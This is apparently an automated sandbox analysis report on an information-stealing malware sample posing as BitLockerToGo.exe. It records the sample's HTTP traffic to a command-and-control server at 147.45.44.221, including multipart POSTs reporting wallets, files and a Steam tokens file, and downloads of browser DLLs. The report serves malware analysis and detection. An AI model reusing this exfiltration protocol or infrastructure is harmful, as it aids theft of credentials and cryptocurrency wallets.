Source: global traffic	HTTP traffic detected: POST /28166bd28a5d19e6.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJKJKKKJJJKJKFHJJJJEHost: 147.45.44.221Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /28166bd28a5d19e6.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECBGIDAEHCGDGCBKEBGHost: 147.45.44.221Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /28166bd28a5d19e6.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDAHost: 147.45.44.221Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 61 38 35 36 38 31 64 37 39 65 65 66 62 39 65 33 39 31 31 36 39 37 65 31 30 66 30 35 63 65 33 38 34 32 63 61 36 33 31 65 35 62 61 34 37 37 36 33 63 35 62 34 32 36 35 64 63 65 35 38 33 39 37 32 66 37 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 2d 2d 0d 0a Data Ascii: ------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="file"------EBKEHJJDAAAAKECBGHDA--
Source: global traffic	HTTP traffic detected: POST /28166bd28a5d19e6.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCFIDAFBFBAKFHJEGIJHost: 147.45.44.221Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 61 38 35 36 38 31 64 37 39 65 65 66 62 39 65 33 39 31 31 36 39 37 65 31 30 66 30 35 63 65 33 38 34 32 63 61 36 33 31 65 35 62 61 34 37 37 36 33 63 35 62 34 32 36 35 64 63 65 35 38 33 39 37 32 66 37 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 2d 2d 0d 0a Data Ascii: ------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="file"------EGCFIDAFBFBAKFHJEGIJ--
Source: global traffic	HTTP traffic detected: GET /3538548809da56b2/freebl3.dll HTTP/1.1Host: 147.45.44.221Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /3538548809da56b2/mozglue.dll HTTP/1.1Host: 147.45.44.221Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /3538548809da56b2/msvcp140.dll HTTP/1.1Host: 147.45.44.221Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /3538548809da56b2/nss3.dll HTTP/1.1Host: 147.45.44.221Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /3538548809da56b2/softokn3.dll HTTP/1.1Host: 147.45.44.221Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /3538548809da56b2/vcruntime140.dll HTTP/1.1Host: 147.45.44.221Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /28166bd28a5d19e6.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEHCGDBFCBAKECBKKEBHost: 147.45.44.221Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /28166bd28a5d19e6.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDHJEBFBFHJECAKFCAAHost: 147.45.44.221Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 61 38 35 36 38 31 64 37 39 65 65 66 62 39 65 33 39 31 31 36 39 37 65 31 30 66 30 35 63 65 33 38 34 32 63 61 36 33 31 65 35 62 61 34 37 37 36 33 63 35 62 34 32 36 35 64 63 65 35 38 33 39 37 32 66 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 2d 2d 0d 0a Data Ascii: ------GHDHJEBFBFHJECAKFCAAContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------GHDHJEBFBFHJECAKFCAAContent-Disposition: form-data; name="message"wallets------GHDHJEBFBFHJECAKFCAA--
Source: global traffic	HTTP traffic detected: POST /28166bd28a5d19e6.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFCAKKKFBGDGCAKFCFHHost: 147.45.44.221Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 61 38 35 36 38 31 64 37 39 65 65 66 62 39 65 33 39 31 31 36 39 37 65 31 30 66 30 35 63 65 33 38 34 32 63 61 36 33 31 65 35 62 61 34 37 37 36 33 63 35 62 34 32 36 35 64 63 65 35 38 33 39 37 32 66 37 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 2d 2d 0d 0a Data Ascii: ------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="message"files------FBFCAKKKFBGDGCAKFCFH--
Source: global traffic	HTTP traffic detected: POST /28166bd28a5d19e6.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHIHost: 147.45.44.221Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 61 38 35 36 38 31 64 37 39 65 65 66 62 39 65 33 39 31 31 36 39 37 65 31 30 66 30 35 63 65 33 38 34 32 63 61 36 33 31 65 35 62 61 34 37 37 36 33 63 35 62 34 32 36 35 64 63 65 35 38 33 39 37 32 66 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 2d 2d 0d 0a Data Ascii: ------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="file"------KEHDBAEGIIIEBGCAAFHI--
Source: global traffic	HTTP traffic detected: POST /28166bd28a5d19e6.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIDHIEGIIIECAKEBFBHost: 147.45.44.221Content-Length: 131659Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /28166bd28a5d19e6.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECGIIIDAKJDHJKFHIEBHost: 147.45.44.221Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 61 38 35 36 38 31 64 37 39 65 65 66 62 39 65 33 39 31 31 36 39 37 65 31 30 66 30 35 63 65 33 38 34 32 63 61 36 33 31 65 35 62 61 34 37 37 36 33 63 35 62 34 32 36 35 64 63 65 35 38 33 39 37 32 66 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 2d 2d 0d 0a Data Ascii: ------JECGIIIDAKJDHJKFHIEBContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------JECGIIIDAKJDHJKFHIEBContent-Disposition: form-data; name="message"ybncbhylepme------JECGIIIDAKJDHJKFHIEB--
Source: global traffic	HTTP traffic detected: POST /28166bd28a5d19e6.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIJEGDBGDBFIJKECBAKFHost: 147.45.44.221Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 61 38 35 36 38 31 64 37 39 65 65 66 62 39 65 33 39 31 31 36 39 37 65 31 30 66 30 35 63 65 33 38 34 32 63 61 36 33 31 65 35 62 61 34 37 37 36 33 63 35 62 34 32 36 35 64 63 65 35 38 33 39 37 32 66 37 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 2d 2d 0d 0a Data Ascii: ------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HIJEGDBGDBFIJKECBAKF--

Source: Joe Sandbox View

ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49732 -> 147.45.44.221:80

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.221

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_02756280 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_02756280

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 147.45.44.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /3538548809da56b2/sqlite3.dll HTTP/1.1Host: 147.45.44.221Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /3538548809da56b2/freebl3.dll HTTP/1.1Host: 147.45.44.221Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /3538548809da56b2/mozglue.dll HTTP/1.1Host: 147.45.44.221Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /3538548809da56b2/msvcp140.dll HTTP/1.1Host: 147.45.44.221Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /3538548809da56b2/nss3.dll HTTP/1.1Host: 147.45.44.221Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /3538548809da56b2/softokn3.dll HTTP/1.1Host: 147.45.44.221Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /3538548809da56b2/vcruntime140.dll HTTP/1.1Host: 147.45.44.221Cache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /28166bd28a5d19e6.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFBGHCAKKFCAKEBKJKKHost: 147.45.44.221Content-Length: 219Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 37 39 34 30 30 32 39 30 43 35 33 35 32 38 30 30 33 31 39 37 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6e 66 7a 65 6f 6e 77 63 69 74 75 63 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="hwid"D579400290C53528003197------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="build"nfzeonwcituc------DAFBGHCAKKFCAKEBKJKK--

Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2061952905.00000000029D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2061952905.00000000029D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2061952905.00000000029D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/28166bd28a5d19e6.php
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/28166bd28a5d19e6.php#
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/28166bd28a5d19e6.php;
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/28166bd28a5d19e6.phpD
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/28166bd28a5d19e6.phpK
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/28166bd28a5d19e6.phpW
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/28166bd28a5d19e6.phpare
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/28166bd28a5d19e6.phpc
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/28166bd28a5d19e6.phpition:
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/28166bd28a5d19e6.phpla
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/28166bd28a5d19e6.phpwser
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/3538548809da56b2/freebl3.dll
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/3538548809da56b2/freebl3.dll4
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/3538548809da56b2/mozglue.dll
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/3538548809da56b2/mozglue.dll8
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/3538548809da56b2/mozglue.dllX
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/3538548809da56b2/msvcp140.dll
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2061952905.00000000029D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/3538548809da56b2/nss3.dll
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.00000000029D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/3538548809da56b2/nss3.dllX
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/3538548809da56b2/softokn3.dll
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/3538548809da56b2/sqlite3.dll
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/3538548809da56b2/vcruntime140.dll6
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/3538548809da56b2/vcruntime140.dllW
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221/c
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221KEBFB
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.00000000029D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.221b
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
